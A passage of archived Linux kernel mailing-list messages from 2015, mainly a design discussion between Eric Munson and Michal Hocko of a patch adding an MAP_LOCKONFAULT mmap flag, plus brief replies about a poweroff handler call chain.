> @@ -12,6 +12,7 @@
>  #define MAP_NONBLOCK	0x10000		/* do not block on IO */
>  #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
>  #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
> +#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
>  
>  /* Bits [26:31] are reserved, see mman-common.h for MAP_HUGETLB usage */
>  
> diff --git a/mm/mmap.c b/mm/mmap.c
> index bb50cac..ba1a6bf 100644
> --- a/mm/mmap.c
> +++ b/mm/mmap.c
> @@ -1233,7 +1233,7 @@ static inline int mlock_future_check(struct mm_struct *mm,
>  	unsigned long locked, lock_limit;
>  
>  	/*  mlock MCL_FUTURE? */
> -	if (flags & VM_LOCKED) {
> +	if (flags & (VM_LOCKED | VM_LOCKONFAULT)) {
>  		locked = len >> PAGE_SHIFT;
>  		locked += mm->locked_vm;
>  		lock_limit = rlimit(RLIMIT_MEMLOCK);
> @@ -1301,7 +1301,7 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
>  	vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
>  			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
>  
> -	if (flags & MAP_LOCKED)
> +	if (flags & (MAP_LOCKED | MAP_LOCKONFAULT))
>  		if (!can_do_mlock())
>  			return -EPERM;
>  
> diff --git a/mm/swap.c b/mm/swap.c
> index a7251a8..07c905e 100644
> --- a/mm/swap.c
> +++ b/mm/swap.c
> @@ -711,7 +711,8 @@ void lru_cache_add_active_or_unevictable(struct page *page,
>  {
>  	VM_BUG_ON_PAGE(PageLRU(page), page);
>  
> -	if (likely((vma->vm_flags & (VM_LOCKED | VM_SPECIAL)) != VM_LOCKED)) {
> +	if (likely((vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) == 0) ||
> +		   (vma->vm_flags & VM_SPECIAL)) {
>  		SetPageActive(page);
>  		lru_cache_add(page);
>  		return;
> -- 
> 1.9.1
> 

-- 
Michal Hocko
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Thu, 18 Jun 2015 08:30:03 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20150618153003.GA19224@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-2-git-send-email-linux@roeck-us.net>
 <55821936.4040704@codeaurora.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1434641434 29111 80.91.229.3 (18 Jun 2015 15:30:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2015 15:30:34 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-efi@vger.kernel.org,
	linux-ia64@vger.kernel.org, Heiko Stuebner <heiko@sntech.de>,
	Len Brown <len.brown@intel.com>, linux-xtensa@linux-xtensa.org,
	Pavel Machek <pavel@ucw.cz>, devel@driverdev.osuosl.org,
	linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
	linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
	linux-sh@vger.kernel.org, Alexander Graf <agraf@suse.de>,
	linux-acpi@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	xen-devel@lists.xenproject.org, devicetree@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-pm@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-tegra@vger.kernel.org,
	openipmi-developer@lists.sourceforge.net,
	linux-metag@vger.kernel.org, li
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Jun 18 17:30:22 2015
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1Z5bli-0006si-P2
	for glpi-linux-ia64-2@plane.gmane.org; Thu, 18 Jun 2015 17:30:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932319AbbFRPaR (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Thu, 18 Jun 2015 11:30:17 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:49443 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752871AbbFRPaL (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Thu, 18 Jun 2015 11:30:11 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=8KzQFR+Vsf++blfoYfgvP0eZeAT7wqiHyjKE5pHJm6c=;
	b=ozkLHJKnwCMl3ePuPZeWr+8fH9L9AAKDlIxW3gUui0LLXG1Zb1qLuzwaKiGspoG+7ob0E7tRzIXUKhY1NYbB6XIZCoZg6r06+xyD9tua45ZUrKPfOk5xHqJGd7aZ615aDyMuce/SPc3xXlSd1mt6bo+wAFRGujJzGjUeEiVaP+A=;
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:50683 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.85)
	(envelope-from <linux@roeck-us.net>)
	id 1Z5blT-003R45-Sn; Thu, 18 Jun 2015 15:30:04 +0000
Content-Disposition: inline
In-Reply-To: <55821936.4040704@codeaurora.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: authenticated_id: guenter@roeck-us.net
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:25548 gmane.linux.kernel:1979510 gmane.linux.ports.mips.general:49119 gmane.linux.kernel.efi:5812 gmane.linux.kernel.virtualization.lguest:1637 gmane.linux.ports.hexagon:911 gmane.linux.ports.sh.devel:46568 gmane.linux.acpi.devel:76732 gmane.linux.drivers.devicetree:125594 gmane.linux.uml.devel:15070 gmane.linux.power-management.general:61469 gmane.linux.ports.tegra:22734 gmane.linux.kernel.openipmi:2715 gmane.linux.kernel.metag:547 gmane.linux.ports.arm.kernel:421198 gmane.linux.ports.parisc:25783 gmane.linux.ports.alpha:3142 gmane.linux.ports.ppc64.devel:114443
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/25548>

On Wed, Jun 17, 2015 at 06:04:54PM -0700, Stephen Boyd wrote:
[ ... ]
> 
> What happened to this series? I want to add shutdown support to my
> platform and I need to write a register on the PMIC in one driver to
> configure it for shutdown instead of restart and then write an MMIO
> register to tell the PMIC to actually do the shutdown in another driver.
> It seems that the notifier solves this case for me, albeit with the
> slight complication that I need to order the two with some priority.
> 
Can you use the .shutdown driver callback instead ?

I see other drivers use that, and check for system_state == SYSTEM_POWER_OFF
to power off the hardware.

Guenter
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked
 after page fault
Date: Thu, 18 Jun 2015 16:30:48 -0400
Lines: 313
Approved: news@gmane.org
Message-ID: <20150618203048.GB2329@akamai.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <1433942810-7852-2-git-send-email-emunson@akamai.com>
 <20150618152907.GG5858@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="WhfpMioaduB5tiZL"
X-Trace: ger.gmane.org 1434659462 17372 80.91.229.3 (18 Jun 2015 20:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2015 20:31:02 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Michal Hocko <mhocko@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 18 22:30:57 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z5gSb-0006Bc-4P
	for glpp-linux-parisc@plane.gmane.org; Thu, 18 Jun 2015 22:30:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753776AbbFRUaw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Jun 2015 16:30:52 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:40492 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754107AbbFRUau (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Jun 2015 16:30:50 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 231B12889B;
	Thu, 18 Jun 2015 20:30:49 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id E72C3287F4;
	Thu, 18 Jun 2015 20:30:48 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1434659448; bh=OLordtFcBKXY1Jys+iRvKngBrM3Jfh4SHOTVHpJaroY=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=QvrBcc2KQn52qy8rjWQ95MsfIQO+bjd5Q4huNE/9bldcNqriywm1QjEfkTT1QNuFu
	 wAQnO8Ih16Qhc+kKNbmpRq4NSZc12yI3NYLJFDHCiSrtBcOmoBB5SLdcxU7Vwo9Jqm
	 YjJgVZ6EwOzqQIeeP7xqDXIceaC7qwSoFVgCK8Qc=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id E13A380084;
	Thu, 18 Jun 2015 20:30:48 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150618152907.GG5858@dhcp22.suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25784 gmane.linux.ports.alpha:3143 gmane.linux.kernel:1979737 gmane.linux.ports.mips.general:49124 gmane.linux.ports.ppc64.devel:114453 gmane.linux.ports.sparc:21161 gmane.linux.kernel.mm:134575 gmane.linux.kernel.cross-arch:28132 gmane.linux.kernel.api:12254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25784>


--WhfpMioaduB5tiZL
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 18 Jun 2015, Michal Hocko wrote:

> [Sorry for the late reply - I meant to answer in the previous threads
>  but something always preempted me from that]
>=20
> On Wed 10-06-15 09:26:48, Eric B Munson wrote:
> > The cost of faulting in all memory to be locked can be very high when
> > working with large mappings.  If only portions of the mapping will be
> > used this can incur a high penalty for locking.
> >=20
> > For the example of a large file, this is the usage pattern for a large
> > statical language model (probably applies to other statical or graphical
> > models as well).  For the security example, any application transacting
> > in data that cannot be swapped out (credit card data, medical records,
> > etc).
>=20
> Such a use case makes some sense to me but I am not sure the way you
> implement it is the right one. This is another mlock related flag for
> mmap with a different semantic. You do not want to prefault but e.g. is
> the readahead or fault around acceptable? I do not see anything in your
> patch to handle those...

We haven't bumped into readahead or fault around causing performance
problems for us.  If they cause problems for users when LOCKONFAULT is
in use then we can address them.

>=20
> Wouldn't it be much more reasonable and straightforward to have
> MAP_FAULTPOPULATE as a counterpart for MAP_POPULATE which would
> explicitly disallow any form of pre-faulting? It would be usable for
> other usecases than with MAP_LOCKED combination.

I don't see a clear case for it being more reasonable, it is one
possible way to solve the problem.  But I think it leaves us in an even
more akward state WRT VMA flags.  As you noted in your fix for the
mmap() man page, one can get into a state where a VMA is VM_LOCKED, but
not present.  Having VM_LOCKONFAULT states that this was intentional, if
we go to using MAP_FAULTPOPULATE instead of MAP_LOCKONFAULT, we no
longer set VM_LOCKONFAULT (unless we want to start mapping it to the
presence of two MAP_ flags).  This can make detecting the MAP_LOCKED +
populate failure state harder.

If this is the preferred path for mmap(), I am fine with that.  However,
I would like to see the new system calls that Andrew mentioned (and that
I am testing patches for) go in as well.  That way we give users the
ability to request VM_LOCKONFAULT for memory allocated using something
other than mmap.

>=20
> > This patch introduces the ability to request that pages are not
> > pre-faulted, but are placed on the unevictable LRU when they are finally
> > faulted in.
> >=20
> > To keep accounting checks out of the page fault path, users are billed
> > for the entire mapping lock as if MAP_LOCKED was used.
> >=20
> > Signed-off-by: Eric B Munson <emunson@akamai.com>
> > Cc: Michal Hocko <mhocko@suse.cz>
> > Cc: linux-alpha@vger.kernel.org
> > Cc: linux-kernel@vger.kernel.org
> > Cc: linux-mips@linux-mips.org
> > Cc: linux-parisc@vger.kernel.org
> > Cc: linuxppc-dev@lists.ozlabs.org
> > Cc: sparclinux@vger.kernel.org
> > Cc: linux-xtensa@linux-xtensa.org
> > Cc: linux-mm@kvack.org
> > Cc: linux-arch@vger.kernel.org
> > Cc: linux-api@vger.kernel.org
> > ---
> >  arch/alpha/include/uapi/asm/mman.h   | 1 +
> >  arch/mips/include/uapi/asm/mman.h    | 1 +
> >  arch/parisc/include/uapi/asm/mman.h  | 1 +
> >  arch/powerpc/include/uapi/asm/mman.h | 1 +
> >  arch/sparc/include/uapi/asm/mman.h   | 1 +
> >  arch/tile/include/uapi/asm/mman.h    | 1 +
> >  arch/xtensa/include/uapi/asm/mman.h  | 1 +
> >  include/linux/mm.h                   | 1 +
> >  include/linux/mman.h                 | 3 ++-
> >  include/uapi/asm-generic/mman.h      | 1 +
> >  mm/mmap.c                            | 4 ++--
> >  mm/swap.c                            | 3 ++-
> >  12 files changed, 15 insertions(+), 4 deletions(-)
> >=20
> > diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/ua=
pi/asm/mman.h
> > index 0086b47..15e96e1 100644
> > --- a/arch/alpha/include/uapi/asm/mman.h
> > +++ b/arch/alpha/include/uapi/asm/mman.h
> > @@ -30,6 +30,7 @@
> >  #define MAP_NONBLOCK	0x40000		/* do not block on IO */
> >  #define MAP_STACK	0x80000		/* give out an address that is best suited =
for process/thread stacks */
> >  #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
> > +#define MAP_LOCKONFAULT	0x200000	/* Lock pages after they are faulted =
in, do not prefault */
> > =20
> >  #define MS_ASYNC	1		/* sync memory asynchronously */
> >  #define MS_SYNC		2		/* synchronous memory sync */
> > diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi=
/asm/mman.h
> > index cfcb876..47846a5 100644
> > --- a/arch/mips/include/uapi/asm/mman.h
> > +++ b/arch/mips/include/uapi/asm/mman.h
> > @@ -48,6 +48,7 @@
> >  #define MAP_NONBLOCK	0x20000		/* do not block on IO */
> >  #define MAP_STACK	0x40000		/* give out an address that is best suited =
for process/thread stacks */
> >  #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
> > +#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted =
in, do not prefault */
> > =20
> >  /*
> >   * Flags for msync
> > diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/=
uapi/asm/mman.h
> > index 294d251..1514cd7 100644
> > --- a/arch/parisc/include/uapi/asm/mman.h
> > +++ b/arch/parisc/include/uapi/asm/mman.h
> > @@ -24,6 +24,7 @@
> >  #define MAP_NONBLOCK	0x20000		/* do not block on IO */
> >  #define MAP_STACK	0x40000		/* give out an address that is best suited =
for process/thread stacks */
> >  #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
> > +#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted =
in, do not prefault */
> > =20
> >  #define MS_SYNC		1		/* synchronous memory sync */
> >  #define MS_ASYNC	2		/* sync memory asynchronously */
> > diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/includ=
e/uapi/asm/mman.h
> > index 6ea26df..fce74fe 100644
> > --- a/arch/powerpc/include/uapi/asm/mman.h
> > +++ b/arch/powerpc/include/uapi/asm/mman.h
> > @@ -27,5 +27,6 @@
> >  #define MAP_NONBLOCK	0x10000		/* do not block on IO */
> >  #define MAP_STACK	0x20000		/* give out an address that is best suited =
for process/thread stacks */
> >  #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
> > +#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted =
in, do not prefault */
> > =20
> >  #endif /* _UAPI_ASM_POWERPC_MMAN_H */
> > diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/ua=
pi/asm/mman.h
> > index 0b14df3..12425d8 100644
> > --- a/arch/sparc/include/uapi/asm/mman.h
> > +++ b/arch/sparc/include/uapi/asm/mman.h
> > @@ -22,6 +22,7 @@
> >  #define MAP_NONBLOCK	0x10000		/* do not block on IO */
> >  #define MAP_STACK	0x20000		/* give out an address that is best suited =
for process/thread stacks */
> >  #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
> > +#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted =
in, do not prefault */
> > =20
> > =20
> >  #endif /* _UAPI__SPARC_MMAN_H__ */
> > diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi=
/asm/mman.h
> > index 81b8fc3..ec04eaf 100644
> > --- a/arch/tile/include/uapi/asm/mman.h
> > +++ b/arch/tile/include/uapi/asm/mman.h
> > @@ -29,6 +29,7 @@
> >  #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
> >  #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
> >  #define MAP_HUGETLB	0x4000		/* create a huge page mapping */
> > +#define MAP_LOCKONFAULT	0x8000		/* Lock pages after they are faulted i=
n, do not prefault */
> > =20
> > =20
> >  /*
> > diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/=
uapi/asm/mman.h
> > index 201aec0..42d43cc 100644
> > --- a/arch/xtensa/include/uapi/asm/mman.h
> > +++ b/arch/xtensa/include/uapi/asm/mman.h
> > @@ -55,6 +55,7 @@
> >  #define MAP_NONBLOCK	0x20000		/* do not block on IO */
> >  #define MAP_STACK	0x40000		/* give out an address that is best suited =
for process/thread stacks */
> >  #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
> > +#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted =
in, do not prefault */
> >  #ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED
> >  # define MAP_UNINITIALIZED 0x4000000	/* For anonymous mmap, memory cou=
ld be
> >  					 * uninitialized */
> > diff --git a/include/linux/mm.h b/include/linux/mm.h
> > index 0755b9f..3e31457 100644
> > --- a/include/linux/mm.h
> > +++ b/include/linux/mm.h
> > @@ -126,6 +126,7 @@ extern unsigned int kobjsize(const void *objp);
> >  #define VM_PFNMAP	0x00000400	/* Page-ranges managed without "struct pa=
ge", just pure PFN */
> >  #define VM_DENYWRITE	0x00000800	/* ETXTBSY on write attempts.. */
> > =20
> > +#define VM_LOCKONFAULT	0x00001000	/* Lock the pages covered when they =
are faulted in */
> >  #define VM_LOCKED	0x00002000
> >  #define VM_IO           0x00004000	/* Memory mapped I/O or similar */
> > =20
> > diff --git a/include/linux/mman.h b/include/linux/mman.h
> > index 16373c8..437264b 100644
> > --- a/include/linux/mman.h
> > +++ b/include/linux/mman.h
> > @@ -86,7 +86,8 @@ calc_vm_flag_bits(unsigned long flags)
> >  {
> >  	return _calc_vm_trans(flags, MAP_GROWSDOWN,  VM_GROWSDOWN ) |
> >  	       _calc_vm_trans(flags, MAP_DENYWRITE,  VM_DENYWRITE ) |
> > -	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    );
> > +	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    ) |
> > +	       _calc_vm_trans(flags, MAP_LOCKONFAULT,VM_LOCKONFAULT);
> >  }
> > =20
> >  unsigned long vm_commit_limit(void);
> > diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic=
/mman.h
> > index e9fe6fd..fc4e586 100644
> > --- a/include/uapi/asm-generic/mman.h
> > +++ b/include/uapi/asm-generic/mman.h
> > @@ -12,6 +12,7 @@
> >  #define MAP_NONBLOCK	0x10000		/* do not block on IO */
> >  #define MAP_STACK	0x20000		/* give out an address that is best suited =
for process/thread stacks */
> >  #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
> > +#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted =
in, do not prefault */
> > =20
> >  /* Bits [26:31] are reserved, see mman-common.h for MAP_HUGETLB usage =
*/
> > =20
> > diff --git a/mm/mmap.c b/mm/mmap.c
> > index bb50cac..ba1a6bf 100644
> > --- a/mm/mmap.c
> > +++ b/mm/mmap.c
> > @@ -1233,7 +1233,7 @@ static inline int mlock_future_check(struct mm_st=
ruct *mm,
> >  	unsigned long locked, lock_limit;
> > =20
> >  	/*  mlock MCL_FUTURE? */
> > -	if (flags & VM_LOCKED) {
> > +	if (flags & (VM_LOCKED | VM_LOCKONFAULT)) {
> >  		locked =3D len >> PAGE_SHIFT;
> >  		locked +=3D mm->locked_vm;
> >  		lock_limit =3D rlimit(RLIMIT_MEMLOCK);
> > @@ -1301,7 +1301,7 @@ unsigned long do_mmap_pgoff(struct file *file, un=
signed long addr,
> >  	vm_flags =3D calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
> >  			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
> > =20
> > -	if (flags & MAP_LOCKED)
> > +	if (flags & (MAP_LOCKED | MAP_LOCKONFAULT))
> >  		if (!can_do_mlock())
> >  			return -EPERM;
> > =20
> > diff --git a/mm/swap.c b/mm/swap.c
> > index a7251a8..07c905e 100644
> > --- a/mm/swap.c
> > +++ b/mm/swap.c
> > @@ -711,7 +711,8 @@ void lru_cache_add_active_or_unevictable(struct pag=
e *page,
> >  {
> >  	VM_BUG_ON_PAGE(PageLRU(page), page);
> > =20
> > -	if (likely((vma->vm_flags & (VM_LOCKED | VM_SPECIAL)) !=3D VM_LOCKED)=
) {
> > +	if (likely((vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) =3D=3D 0) ||
> > +		   (vma->vm_flags & VM_SPECIAL)) {
> >  		SetPageActive(page);
> >  		lru_cache_add(page);
> >  		return;
> > --=20
> > 1.9.1
> >=20
>=20
> --=20
> Michal Hocko
> SUSE Labs

--WhfpMioaduB5tiZL
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVgyp4AAoJELbVsDOpoOa9kdsQAJZLqaF1u5hI3XO+tpM5P/hk
Aa1VfdcpEBg27WM9YEVF6bwEOTEGmu50fzkMURr71dqw0SQIkXXxn+IKBF309tF2
CCqll9Yau9+XHZmuvABXGr6WSBKl5Vo7JSZ9OUiGvDYN44Qj1Qc1npw29rDss5OF
FV537cKdnrcaiX12TLFIyfl/tOQEl26ZUyewH+V6FPQsDblP+Um5UOJmjz0B5RT6
pBk8Guz36NYtCUouOMuPSy0aI/Lmss9LQIDNJJ3P3cFC04duWXKCNXyX8dV7YBbT
uLJZSrTBI4bkIzO6h4iQQEJ/ZApI9A0PaB43uypsehjnbnsS4TIc47yNIcnNWVi/
0+8KcUGdruh4SANSQdgCoQW51v8R3rhjAF1P/oqsZhL4yRffp6jJ03/olkR5myi5
mLvW+P0+TrnCTAqYp7ztV66pCagufjSA+JI1ZKe6Sm68dIzdGEA47nftVuLRwSe5
26QMiMMdyIibK0M01Uy50DOJi9CNBny3o2hStcRz+IbbhFh8qegUBJDEXQkGKy4k
MzjcLRihmWO5dNNLjmdsu7tMcYD95VJtWDFpvGszt1coKPkuyQmD6eL+YoIbfuOs
Zahv7yrHDLq32DZBvJ3z6HnH0F9HttksnsnZYkABLmJv8DLj5HJjSg85dC1+1nGo
W38/v4H0T6dmB/3AN1Q3
=kvxI
-----END PGP SIGNATURE-----

--WhfpMioaduB5tiZL--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Boyd <sboyd@codeaurora.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 01/44] kernel: Add support for poweroff handler call chain
Date: Thu, 18 Jun 2015 14:40:18 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <55833AC2.5080700@codeaurora.org>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-2-git-send-email-linux@roeck-us.net> <55821936.4040704@codeaurora.org> <20150618153003.GA19224@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1434663638 19305 80.91.229.3 (18 Jun 2015 21:40:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Jun 2015 21:40:38 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-efi@vger.kernel.org,
	linux-ia64@vger.kernel.org, Heiko Stuebner <heiko@sntech.de>,
	Len Brown <len.brown@intel.com>, linux-xtensa@linux-xtensa.org,
	Pavel Machek <pavel@ucw.cz>, devel@driverdev.osuosl.org,
	linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
	linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
	linux-sh@vger.kernel.org, Alexander Graf <agraf@suse.de>,
	linux-acpi@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	xen-devel@lists.xenproject.org, devicetree@vger.kernel.org,
